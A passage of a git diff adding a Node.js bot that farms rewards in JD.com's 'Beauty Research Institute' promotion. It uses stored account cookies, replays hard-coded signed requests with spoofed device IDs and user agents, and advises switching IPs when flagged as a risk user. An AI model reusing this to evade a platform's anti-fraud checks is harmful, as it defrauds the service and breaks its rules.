(t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_beauty.js b/backUp/jd_beauty.js new file mode 100644 index 0000000000..de976c093e --- /dev/null +++ b/backUp/jd_beauty.js @@ -0,0 +1,655 @@ +/* +美丽研究院 +更新时间:2021-05-08 +活动入口:京东app首页-美妆馆-底部中间按钮 +只支持Node.js支持N个京东账号 +脚本兼容: Node.js +cron 1 7,12,19 * * * jd_beauty.js + */ +const $ = new Env('美丽研究院'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +//const WebSocket = $.isNode() ? require('websocket').w3cwebsocket: SockJS; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +$.accountCheck = true; +$.init = false; +// const bean = 1; //兑换多少豆,默认是500 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, helpInfo, ADD_CART = false; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!$.isNode()) { + $.msg($.name, 'iOS端不支持websocket,暂不能使用此脚本', ''); + return + } + helpInfo = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await accountCheck(); + while (!$.hasDone) { + await $.wait(1000) + } + if ($.accountCheck) { + await jdBeauty(); + } + if ($.accountCheck) { + helpInfo = $.helpInfo; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken() + await getIsvToken2() + await getToken() + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + process.exit(0); + return + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { + headers: { + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + }); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(1000); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + // $.init=true; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + // $.init=true; + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + // console.log(client.readyState); + console.log('服务器连接关闭'); + }; + await $.wait(1000); + } +} + +async function jdBeauty() { + $.hasDone = false + // await getIsvToken() + // await getIsvToken2() + // await getToken() + // if (!$.token) { + // console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + // return + // } + await mr() + while (!$.hasDone) { + await $.wait(1000) + } + await showMsg(); +} + +async function mr() { + $.coins = 0 + let positionList = ['b1', 'h1', 's1', 'b2', 'h2', 's2'] + $.tokens = [] + $.pos = [] + $.helpInfo = [] + $.needs = [] + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ + headers:{ + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + }) + console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + client.send(`{"msg":{"type":"action","args":{"source":"meizhuangguandibudaohang"},"action":"stats"}}`) + while (!$.init) { + client.send(`ping`) + await $.wait(1000) + } + console.log('helpInfo', helpInfo); + for (let help of helpInfo) { + client.send(help); + } + await $.wait(1000) + client.send(`{"msg":{"type":"action","args":{},"action":"shop_products"}}`) + // 获得可生产的原料列表 + client.send(`{"msg":{"type":"action","args":{},"action":"get_produce_material"}}`) + await $.wait(1000) + // 获得正在生产的商品信息 + client.send('{"msg":{"type":"action","args":{},"action":"product_producing"}}') + await $.wait(1000) + // 获得库存 + client.send(`{"msg":{"type":"action","args":{},"action":"get_package"}}`) + // 获得可生成的商品列表 + client.send(`{"msg":{"type":"action","args":{"page":1,"num":10},"action":"product_lists"}}`) + await $.wait(1000) + + // 获得原料生产列表 + console.log(`========原料生产信息========`) + for (let pos of positionList) { + client.send(`{"msg":{"type":"action","args":{"position":"${pos}"},"action":"produce_position_info_v2"}}`) + // await $.wait(500) + } + + // 获得任务 + // client.send(`{"msg":{"type":"action","args":{},"action":"get_task"}}`) + // 获取个人信息 + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + await $.wait(1000) + // 获得福利中心 + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"collect_coins"}}`); + }; + + client.onclose = () => { + console.log(`本次运行获得美妆币${$.coins}`) + console.log('服务器连接关闭'); + $.init = true; + $.hasDone = true; + for (let i = 0; i < $.pos.length && i < $.tokens.length; ++i) { + $.helpInfo.push(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}","token":"${$.tokens[i]}"},"action":"employee"}}`) + } + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + await $.wait(Math.random()*2000+500); + console.log(`\n开始任务:"${JSON.stringify(vo.action)}`); + switch (vo.action) { + case "get_ad": + console.log(`当期活动:${vo.data.screen.name}`) + if (vo.data.check_sign_in === 1) { + // 去签到 + console.log(`去做签到任务`) + client.send(`{"msg":{"type":"action","args":{},"action":"sign_in"}}`) + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":1,"channel":2,"source_app":2}}}`) + } + break + case "get_user": + $.userInfo = vo.data + $.total = vo.data.coins + if ($.userInfo.newcomer === 0) { + console.log(`去做新手任务`) + for (let i = $.userInfo.step; i < 15; ++i) { + client.send(`{"msg":{"type":"action","args":{},"action":"newcomer_update"}}`) + await $.wait(500) + } + } else + $.init = true; + $.level = $.userInfo.level; + console.log(`当前美妆币${$.total},用户等级${$.level}`); + break; + case "shop_products": + let count = $.taskState.shop_view.length; + if (count < 5) console.log(`去做关注店铺任务`); + for (let i = 0; i < vo.data.shops.length && count < 5; ++i) { + const shop = vo.data.shops[i]; + if (!$.taskState.shop_view.includes(shop.id)) { + count++; + console.log(`去做关注店铺【${shop.name}】`); + client.send(`{"msg":{"type":"action","args":{"shop_id":${shop.id}},"action":"shop_view"}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":6,"channel":2,"source_app":2,"vender":"${shop.vender_id}"}}}`); + } + await $.wait(1000); + } + count = $.taskState.product_adds.length; + if (count < 5 && ADD_CART) console.log(`去做浏览并加购任务`) + for (let i = 0; i < vo.data.products.length && count < 5 && ADD_CART; ++i) { + const product = vo.data.products[i]; + if (!$.taskState.product_adds.includes(product.id)) { + count++; + console.log(`去加购商品【${product.name}】`); + client.send(`{"msg":{"type":"action","args":{"add_product_id":${product.id}},"action":"add_product_view"}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":9,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":5,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + } + await $.wait(1000) + } + for (let i = $.taskState.meetingplace_view; i < $.taskState.mettingplace_count; ++i) { + console.log(`去做第${i + 1}次浏览会场任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"meetingplace_view"}}`) + await $.wait(2000) + } + if ($.taskState.today_answered === 0) { + console.log(`去做每日问答任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_question"}}`) + } + break + case "check_up": + $.taskState = vo.data + // 6-9点签到 + for (let check_up of vo.data.check_up) { + if (check_up['receive_status'] !== 1) { + console.log(`去领取第${check_up.times}次签到奖励`) + client.send(`{"msg":{"type":"action","args":{"check_up_id":${check_up.id}},"action":"check_up_receive"}}`) + } else { + console.log(`第${check_up.times}次签到奖励已领取`) + } + } + break + case 'newcomer_update': + if (vo.code === '200' || vo.code === 200) { + console.log(`第${vo.data.step}步新手任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.step === 15) $.init = true + if (vo.data.coins) $.coins += vo.data.coins + } else { + console.log(`新手任务完成失败,错误信息:${JSON.stringify(vo)}`) + } + break + case 'get_question': + const questions = vo.data + let commit = {} + for (let i = 0; i < questions.length; ++i) { + const ques = questions[i] + commit[`${ques.id}`] = parseInt(ques.answers) + } + await $.wait(5000) + client.send(`{"msg":{"type":"action","args":{"commit":${JSON.stringify(commit)},"correct":${questions.length}},"action":"submit_answer"}}`) + break + case 'complete_task': + case 'action': + case 'submit_answer': + case "check_up_receive": + case "shop_view": + case "add_product_view": + case "meetingplace_view": + if (vo.code === '200' || vo.code === 200) { + console.log(`任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.coins) $.coins += vo.data.coins + $.total = vo.data.user_coins + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "produce_position_info_v2": + // console.log(`${Boolean(vo?.data)};${vo?.data?.material_name !== ''}`); + if (vo.data && vo.data.material_name !== '') { + console.log(`【${vo?.data?.position}】上正在生产【${vo?.data?.material_name}】,可收取 ${vo.data.produce_num} 份`) + if (new Date().getTime() > vo.data.procedure.end_at) { + console.log(`去收取${vo?.data?.material_name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo?.data?.position}","replace_material":false},"action":"material_fetch_v2"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + $.pos.push(vo?.data?.position) + } + } else { + if (vo?.data && vo.data.valid_electric > 0) { + console.log(`【${vo.data.position}】上尚未开始生产`) + let ma + console.log(`$.needs:${JSON.stringify($.needs)}`); + if($.needs.length){ + ma = $.needs.pop() + console.log(`ma:${JSON.stringify(ma)}`); + } else { + ma = $.material.base[0]['items'][positionList.indexOf(vo.data.position)]; + console.log(`elsema:${JSON.stringify(ma)}`); + } + console.log(`ma booleam${Boolean(ma)}`); + if (ma) { + console.log(`去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + } else { + ma = $.material.base[1]['items'][positionList.indexOf(vo.data.position)] + if (ma) { + console.log(`else去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + } + } + } + else{ + console.log(`【${vo.data.position}】电力不足`) + } + } + break + case "material_produce_v2": + console.log(`【${vo?.data?.position}】上开始生产${vo?.data?.material_name}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + $.pos.push(vo.data.position) + break + case "material_fetch_v2": + if (vo.code === '200' || vo.code === 200) { + console.log(`【${vo.data.position}】收取成功,获得${vo.data.procedure.produce_num}份${vo.data.material_name}\n`); + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "get_package": + if (vo.code === '200' || vo.code === 200) { + // $.products = vo.data.product + $.materials = vo.data.material + let msg = `仓库信息:` + for (let material of $.materials) { + msg += `【${material.material.name}】${material.num}份 ` + } + console.log(msg) + } else { + console.log(`仓库信息获取失败,错误信息${vo.msg}`) + } + break + case "product_lists": + let need_material = [] + if (vo.code === '200' || vo.code === 200) { + $.products = vo.data.filter(vo=>vo.level===$.level) + console.log(`========可生产商品信息========`) + for (let product of $.products) { + let num = Infinity + let msg = '' + msg += `生产【${product.name}】` + for (let material of product.product_materials) { + msg += `需要原料“${material.material.name}${material.num} 份” ` //material.num 需要材料数量 + const ma = $.materials.filter(vo => vo.item_id === material.material_id)[0] //仓库里对应的材料信息 + // console.log(`ma:${JSON.stringify(ma)}`); + if (ma) { + msg += `(库存 ${ma.num} 份)`; + num = Math.min(num, Math.trunc(ma.num / material.num)) ;//Math.trunc 取整数部分 + if(material.num > ma.num){need_material.push(material.material)}; + // console.log(`num:${JSON.stringify(num)}`); + } else { + if(need_material.findIndex(vo=>vo.id===material.material.id)===-1) + need_material.push(material.material) + console.log(`need_material:${JSON.stringify(need_material)}`); + msg += `(没有库存)` + num = -1000 + } + } + if (num !== Infinity && num > 0) { + msg += `,可生产 ${num}份` + console.log(msg) + console.log(`【${product.name}】可生产份数大于0,去生产`) + //product_produce 产品研发里的生产 + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"product_produce"}}`) + await $.wait(500) + } else { + console.log(msg) + console.log(`【${product.name}】原料不足,无法生产`) + } + } + $.needs = need_material + // console.log(`product_lists $.needs:${JSON.stringify($.needs)}`); + console.log(`=======================`) + } else { + console.log(`生产信息获取失败,错误信息:${vo.msg}`) + } + // await $.wait(2000); + // client.close(); + break + case "product_produce": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`生产成功`) + } else { + console.log(`生产信息获取失败,错误信息${vo.msg}`) + } + break + case "collect_coins": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`收取成功,获得${vo['data']['coins']}美妆币,当前总美妆币:${vo['data']['user_coins']}\n`) + } else { + console.log(`收取美妆币失败,错误信息${vo.msg}`) + } + break + case "product_producing": + // console.log('product_producing', vo); + if (vo.code === '200' || vo.code === 200) { + for (let product of vo.data) { + if (product.num === product.produce_num) { + client.send(`{"msg":{"type":"action","args":{"log_id":${product.id}},"action":"new_product_fetch"}}`) + } else { + console.log(`产品【${product.product.id}】未生产完成,无法收取`) + } + } + } else { + console.log(`生产商品信息获取失败,错误信息${vo.msg}`) + } + break + case "new_product_fetch": + if (vo.code === '200' || vo.code === 200) { + console.log(`收取产品【${vo.data.product.name}】${vo.data.num}份`) + } else { + console.log(`收取产品失败,错误信息${vo.msg}`) + } + break + // case "get_task": + // console.log(`当前任务【${vo.data.describe}】,需要【${vo.data.product.name}】${vo.data.package_stock}/${vo.data.num}份`) + // if (vo.data.package_stock >= vo.data.num) { + // console.log(`满足任务要求,去完成任务`) + // client.send(`{"msg":{"type":"action","args":{"task_id":${vo.data.id}},"action":"complete_task"}}`) + // } + // break + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + console.log(`benefit:${JSON.stringify(benefit)}`); + if(benefit.description === "1 京豆" && //500颗京豆打包兑换 + parseInt(benefit.day_exchange_count) < 10 && + $.total > benefit.coins){ + for (let i = benefit.day_exchange_count; i < 10; i++){ + // console.log(`开始兑换`) + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`); + await $.wait(1000); + } + } + // console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + // if (parseInt(benefit.setting.beans_count) === bean && //兑换多少豆 bean500就500豆 + // $.total > benefit.coins && + // parseInt(benefit.day_exchange_count) < benefit.day_limit) { + // console.log(`满足条件,去兑换`) + // client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + // await $.wait(1000) + // } + } + } + break + case "to_exchange": + if (vo?.data) { + console.log(`兑换${vo?.data?.coins/-100}京豆成功;${JSON.stringify(vo)}`) + } else { + console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + } + break + case "get_produce_material": + console.log('get_produce_material', vo?.msg); + $.material = vo.data + break + case "to_employee": + console.log(`雇佣助力码【${vo.data.token}】`) + $.tokens.push(vo.data.token) + break + case "employee": + console.log(`${vo.msg}`) + break + } + } + }; +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'body=%7B%22to%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%5C/?channel%3Dmeizhuangguandibudaohang%26collectionId%3D96%26tttparams%3DYEyYQjMIeyJnTG5nIjoiMTE4Ljc2MjQyMSIsImdMYXQiOiIzMi4yNDE4ODIifQ8%253D%253D%26un_area%3D12_904_908_57903%26lng%3D118.7159742308471%26lat%3D32.2010317443041%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=b0aac3dd04b1c6d68cee3d425e27f480&st=1610161913667&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({"token":$.token2,"source":"01"}), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.isvToken};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`【$.token】 ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得美妆币${$.coins}枚\n当前美妆币${$.total}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 